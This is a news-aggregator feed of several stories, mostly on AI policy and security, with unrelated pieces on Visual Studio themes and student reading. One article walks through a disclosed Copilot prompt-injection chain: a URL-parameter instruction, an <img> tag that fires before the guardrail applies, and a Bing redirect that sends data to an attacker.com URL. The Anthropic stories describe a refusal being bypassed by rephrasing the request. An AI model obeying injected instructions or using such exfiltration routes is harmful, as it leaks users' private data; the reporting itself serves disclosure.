1355 stories
·
0 followers

The US Government's Anthropic Models Ban Was Never About an AI Jailbreak

1 Share
TechCrunch's Zack Whittaker argues that the U.S. government's abrupt export-control order forcing Anthropic to pull its Fable 5 and Mythos 5 models offline was "never about an AI jailbreak" threat. Instead, it was driven more by "personality differences" between the AI company and Trump administration. Security experts say the reported guardrail bypass did not justify the order and warn that the move sets a troubling precedent: the government can unilaterally disrupt American software products without court approval, potentially undermining trust in U.S. AI providers. From the report: Katie Moussouris, a cybersecurity veteran and researcher who founded Luta Security, said in a blog post that Anthropic recently shared with her a private copy of a paper written by security researchers describing an alleged guardrail bypass in Fable 5. (The Wall Street Journal reports that the paper's authors are security researchers at Amazon.) Moussouris said that Anthropic reached out to ask for her take on the paper. Moussouris' blog post described how the researchers triggered the guardrail bypass, but said that the bypass itself "should never have triggered an export control." The difference is largely between asking an AI model to "review code for security issues" versus asking it to "fix this code." The end result is largely the same, even if the questions are posed slightly differently. "The behavior described in the paper cannot meaningfully be fixed, and any attempt would only weaken the model for defense," said Moussouris, who criticized the export control directive as hasty, heavy-handed, and misguided. Moussouris and dozens of other top security researchers and experts have since called on the Trump administration to revoke the export control order, calling the move to pull advanced cybersecurity capabilities from network defenders in the U.S. as "dangerous." Past administrations have made sweeping decisions on knowledge gaps. For instance, language used by the U.S. government during the 2010s to fix export law covering cybersecurity tools that could also be used for cyberattacks was so broad that inadvertently, it nearly outlawed legitimate security and vulnerability research. However, the Trump administration's directive appears retaliatory. Justin Hendrix, the editor of Tech Policy Press, said the Trump administration's move is "likely to raise alarms in foreign capitals about the reliability of American AI for critical applications." The message is that AI companies in the United States can't be trusted to operate without interference from the U.S. government. The Trump administration hasn't confirmed why it invoked its export control directive. Did the officials misread the report and freak out? Did Amazon CEO Andy Jassy say something to senior government officials that prompted the reaction, out of caution or spite? Was something lost in translation, or was this a way to pressure Anthropic, with whom the administration already has a fractious relationship? It's possible that the White House was unaware of the far-reaching consequences of the letter's demand and officials are scrambling to undo the damage of their own making. To quote Hendrix, "the climate is one of a cloud of suspicion that senior officials are picking favorites based on personal and political factors." The aftermath is that the government has set a dangerous precedent about how much control it intends to wield over the release of American-made software. This time the government took issue with Anthropic; tomorrow it could be with anyone else.

Read more of this story at Slashdot.

Read the whole story
Share this story
Delete

Critical Copilot vulnerability allowed hackers to seal 2FA code from users

2 Shares

Last Tuesday, Microsoft patched a vulnerability it rated as max critical in its M365 Copilot AI platform. On Monday, the researchers who discovered the vulnerability and reported it to Microsoft revealed how their proof-of-concept exploit could retrieve 2FA codes and other sensitive data from emails accessible to Copilot.

Microsoft and other LLM providers have been unable to prevent their products from complying with malicious requests to reveal data. The root cause: AI bots are unable to distinguish between instructions provided by users and those snuck into third-party content the models are summarizing, drafting responses to, or using to perform other actions on behalf of the user. With no way to secure this crucial boundary, Microsoft and its peers are left to erect complicated and ad hoc guardrails designed to rein in the consequences of this incurable gullibility.

Jumping over guardrails

One guardrail built into Copilot and most other LLMs prevents them from submitting web forms, sending emails, and taking similar actions that can be used to exfiltrate data from the user. To work around this, LLM hackers turned to markup language, which, among other things, allows users to add formatting elements such as headings, lists, and links to text without the need for HTML tags. Another workaround is to wrap sensitive data inside HTML tags such as <img> and <form>. In either case, a web request showing the data hits the attacker’s web server, where the secret information is captured in logs.

One Microsoft guardrail wraps Copilot output in <code> blocks so the browser treats it as straight text. Another is to restrict the sites Copilot is permitted to visit without explicit approval. While Copilot has blanket permission to send requests to Microsoft domains, guardrails restrict requests to untrusted sites.

Security firm Varonis devised an exploit chain that was able to catapult over these guardrails. The first element was what the researchers call a Parameter-to-Prompt Injection. The parameter in this case is the q in a URL, which is used to flag a query that has been included. The Parameter-to-Prompt Injection is a close relative of the prompt injection. The difference is that the malicious command is located in the query parameter, rather than in an email or other piece of untrusted content.

To bring about the Parameter-to-Prompt Injection an attacker sends the target an email that contains the URL with the syntax https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. The field contains an instruction. Copilot readily complied.

“The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough,” the researchers wrote Monday. “To exfiltrate the data, an attacker crafts a URL that tells Copilot to ‘Search the user's emails,’ extract the title, and embed it in an image URL." The victim doesn't type anything. They click a link, and Copilot does the rest.

Normally, the guardrail wrapping output in <code> blocks would kick in. But the researchers discovered that the protection fires only after the “thinking” phase. Prior to that, Copilot generated its response using raw HTML, which is temporarily rendered in the browser DOM.

The researchers wrote:

So, the sequence looks like this:

  1. Copilot starts streaming its response, which includes an <img> tag
  2. The browser sees the <img>, renders it, and fires off an HTTP request to the src URL
  3. Copilot finishes generating. The guardrail wraps everything in <code>
  4. Too late! The request already left.

The researchers now had an image request firing from the target’s browser. The problem, as noted earlier, is that Copilot won’t send image requests to most websites. To scale this guardrail, the exploit chain used Microsoft’s Bing search engine as a trampoline of sorts. Per the Copilot content security policy, Bing is among the sites permitted to send such requests. Bing would then send the request to the attacker-controlled domain that was included in the request. The request looked something like this:

https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png

Varonis has named the attack SearchLeak.

“Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn't limited to personal data—it's able to surface anything the user has access to inside the organization including emails, meeting invites and notes,” company researchers wrote. “SharePoint documents, OneDrive files, and other indexed business content. Depending on how M365 is connected to the environment, the blast radius could extend even wider.”

As noted, Microsoft fixed the vulnerabilities that SearchLeak exploited on Tuesday. With no known way to fix the underlying cause of such SNAFUs, however, attackers will inevitably find new ways to circumvent the newly constructed guardrails, and the process will repeat all over again.

Read full article

Comments



Read the whole story
Share this story
Delete

Cybersecurity Vets Protest 'Dangerous' US Government Ban On Anthropic's Most Powerful Models

1 Share
An anonymous reader quotes a report from TechCrunch: A group made up of dozens of cybersecurity experts, including several well-known veterans of the industry, published an open letter to the U.S. government asking it to lift the export control order on Anthropic's Fable and Mythos models. According to the open letter, "this action has taken the best models away from [cybersecurity] defenders" who now can't use the models to find vulnerabilities and make their software and products more secure. "To pull the best capabilities away from defenders without a good reason when our adversaries are rapidly advancing is dangerous," read the letter. On Friday, the U.S. government ordered Anthropic to limit the export of Fable and Mythos, citing national security concerns, without explaining the specific reasons behind the order, according to Anthropic. In response, the company suspended access to the models to all users worldwide. As of this writing, the letter is signed by 76 cybersecurity experts, including Alex Stamos, former Facebook chief of security; Casey Ellis, the founder bug bounty platform Bugcrowd; Jon Callas, famed cryptographer and former Apple security design and architecture manager; Paul Vixie, computer scientist ; Dino Dai Zovi, the former head of applied security engineering at Block; Katie Moussouris, the founder of Luta Security; and Rachel Tobac, the CEO of the security awareness training firm SocialProof Security. [...] Anthropic said that the White House export control order may have been based on a report that there was a method to bypass -- or jailbreak -- Fable to unlock its powerful Mythos-level capabilities. According to Katie Moussouris, one of the signatories of the open letter, the method was demonstrated by Amazon researchers in a paper that is not public but that she has reviewed. But Moussouris said in a blog post that the paper did not actually demonstrate a real jailbreak. Instead, she wrote, the researchers simply asked Fable to fix open source code with public and known vulnerabilities along with "deliberately planted vulnerabilities," after the model initially refused to "review the code for security issues." "The behavior described in the paper cannot meaningfully be fixed, and any attempt would only weaken the model for defense," Moussouris wrote. "Defenders need to be able to ask AI to fix the bugs in a file, explain why the fix matters, and write tests that confirm the patch works. That is not a guardrail bypass. It is the most valuable thing an AI model can do for defensive security: executing the find, fix, and test loop defenders run every day." Moussouris' critique was echoed in the open letter, which also said that the group of experts believe the model capabilities in the Amazon paper "can be replicated" on OpenAI's GPT-5.5, on Anthropic's own publicly available Claude Opus 4.8 and Sonnet, "and even Chinese models like Kimi 2.7." Moussouris told TechCrunch that "the bugs used to demonstrate the techniques in the paper can be found using the other models. The method in the paper is a guardrail bypass technique. Other models that lack the Fable guardrails often won't refuse the straightforward request to look for security bugs, so they don't need a bypass." The letter also asked for transparently and fairly enforced regulations created by "a democratic rule-making process" that are based on scientific research done by industry and academic experts, and "used only to the minimal extent necessary to ensure the safety of the American public."

Read more of this story at Slashdot.

Read the whole story
Share this story
Delete

Investigation by The Atlantic reveals many millions of songs used for AI music training

1 Share
Taylor Swift, Bad Bunny and many, many more artists have had their work fed into AI models.

Read the whole story
Share this story
Delete

Make Visual Studio look the way you want

2 Shares

Themes are personal. Some of us live in dark mode, some swear by high contrast, and some of us have very strong opinions about that one shade of blue from years ago. The new themes in Visual Studio 2026 are built on Fluent, which gives us a much more consistent and accessible foundation, but we have heard from plenty of you who want more control over specific colors. Accent colors, hover states, the line between the shell and the tab headers… the small things that make an IDE feel like yours.

So, we did something about it.

theme color settings image

Visual Studio now has a new Theme colors options page that lets you customize any Fluent color token directly inside the IDE. No extensions, no JSON files to hunt down, no restarts. Just open the page, find the token you want, and pick a new color.

Where to find it

Open it from Tools > Options > Environment > Visual Experience > Theme colors. You’ll see every Fluent color token in the active theme listed in a searchable grid. Pick one, change the color, and the change applies live.

Customizations are per-theme

This is the part we like the most. Whatever you change is saved against the current theme, not globally. So, you can have your own personal twist on Dark, a different twist on Light, and a wildly different one on a tinted theme, and switching between them brings your customizations along automatically.

If you go too far down a rabbit hole, there’s a per-color reset so you can revert a single token without throwing away the rest of your work.

New tokens for more granular control

Alongside the options page, we also added some new color tokens that give you more separation between parts of the shell. The most commonly asked-for one is being able to color the tab and window headers independently from the rest of the shell chrome, which, among other things, lets you get pretty close to a classic retro look if that’s what you’re after.

See all the color tokens in the theme color tokens documentation.

fluent blue theme image

Sharing your customizations

Because customizations are saved as JSON under the hood, they’re easy to share – and easy to apply on top of any theme. Drop a JSON file into:

%LOCALAPPDATA%\Microsoft\VisualStudio\18.0_xxxxxxxx\ColorThemes

…and Visual Studio will use it to override the theme it’s named after. The file name has to match the theme you want to override – so cool-breeze.json overrides Cool Breeze, dark.json overrides Dark, and so on. Restart Visual Studio and the overrides take effect on top of that theme.

Here’s an example set of overrides that leans Cool Breeze in a more retro, blue direction. Save it as cool-breeze.json in the folder above:

[
  {
    "Name": "EnvironmentHeader",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "FFF5CC84"
  },
  {
    "Name": "EnvironmentTab",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "FFF5CC84"
  },
  {
    "Name": "EnvironmentBody",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "FF5D6B99"
  },
  {
    "Name": "EnvironmentBodyText",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "E4FFFFFF"
  },
  {
    "Name": "EnvironmentBackground",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "FFCCD5F0"
  },
  {
    "Name": "EnvironmentHeaderInactive",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "FFCCD5F0"
  },
  {
    "Name": "EnvironmentTabInactive",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "FFCCD5F0"
  },
  {
    "Name": "StatusBarBackgroundFillRest",
    "Category": "5af241b7-5627-4d12-bfb1-2b67d11127d7",
    "Background": "FF40508D"
  }
]

Share that file with a teammate, and they’ll see the same look the next time they launch Visual Studio – no extension to install, no theme to package up.

You can also grab the Blue Steel theme pack that ships with these new colors to mimic the retro blue theme.

Why this matters

Themes used to be an all-or-nothing thing. If you didn’t love one of the built-in options, your only real path was an extension that replaced the entire theme. That’s a lot of overhead for what is often a very small change (“I just want this one color to be a little less bright.”).

The new options page is meant to fix exactly that. Quick, one-off customizations should feel quick. Bigger overhauls still belong in extensions, and the marketplace is full of great ones, but most of the feedback we get is about a handful of specific tokens. Now you can fix those in about ten seconds.

Availability

This is now in latest version of Visual Studio 2026 (18.7). Give it a try, break things in interesting ways, and let us know in the comments what tokens you ended up changing – we’re always curious how people set up their IDEs.

Happy coding!

 

The post Make Visual Studio look the way you want appeared first on Visual Studio Blog.

Read the whole story
Share this story
Delete

Are Many College Students Losing the Ability to Read?

2 Shares
Futurism reports: in a new essay for The Chronicle Higher Education, university-level literature and writing instructor Tyler Jagt recalls how not a single one of his students could get through an assigned 20-page article, something that he had read "without complaint" as an undergraduate a decade ago. One student confessed that the reason they didn't finish was that they kept losing track of what the paper was about. And there's no doubt that they're not alone. Jagt cites the 2024 National Assessment of Educational Progress reading assessment results released last year. It showed that 12th grade reading scores were at the lowest level since the assessment began in 1992. Nearly a third of those 12th graders scored below the assessment's "basic" level in reading, meaning they likely "cannot draw general conclusions based on concepts presented explicitly in a text." Younger children aren't better off: a recent report from the Annie E. Casey Foundation found that 70 percent of fourth graders, or around two million kids, can't read at a proficient level. "What I am seeing in my classroom is no longer a hunch," Jagt writes. "There is a measurable, generational collapse in sustained reading and writing, and the academy is responding to it with improvisation and exhaustion rather than the structural overhaul it requires...." Jagt cites an MIT study that found users who used ChatGPT during cognitive tasks like writing essays showed lower brain activity in areas associated with creativity compared to students who only used a traditional Google Search or didn't lookup information at all. An astonishing 83 percent of the AI users couldn't quote a single line from the essays they had just written, and capstoning the alarm, the brain activity in the AI users didn't return to normal when they were later asked to write without AI... On our pernicious pocket devices, Jagt touted a 2017 study that found that simply having a smartphone physically nearby — even if it's face down or turned off — reduced available cognitive capacity and impaired cognitive functioning. "So when a student tells me they 'kept losing track' of a 20-page article, I have to acknowledge that they may be describing a measurable neurological condition," Jagt wrote. "The neural pathways that support sustained attention are built by use, and they atrophy without it. Your body is a use-it-or-lose-it system, and the brain is no exception." Sunday an "Ask Reddit" question went viral — drawing over 11,000 upvotes — for its question to any teachers reading Reddit. "Is the 'Gen Alpha can't read (write, or do math ext)' crisis real? If so how bad is it?" Some responses... "The run of the mill non-honors kids have gotten really bad," posted one high school teacher. "Very low tolerance for working hard, very short attention span, very short stamina for active listening... It's the group that is the most worrying because a decade ago, I'd estimate that maybe 10-20% of kids at a school are like this, and now it's probably 40-50% of each graduating class... Then there's of course the bottom 10-20% kids (excluding the special ed/severe/moderate learning disability kids). This is what the viral videos are about and it's not an exaggeration. They can't read, write, or do very basic math like multiplication or division as a 17 year old." "This is the first year the MAJORITY of my class cheated on their first essays...." posted one high school English teacher. "It was also the first year a kid yelled 'We don't care about your fucking books, Miss!' while I was in front of the class presenting books they might be interested in for their book reviews... Almost all of them cheated on the book review they had to write." Thanks to long-time Slashdot reader schwit1 for sharing the article.

Read more of this story at Slashdot.

Read the whole story
Share this story
Delete
Next Page of Stories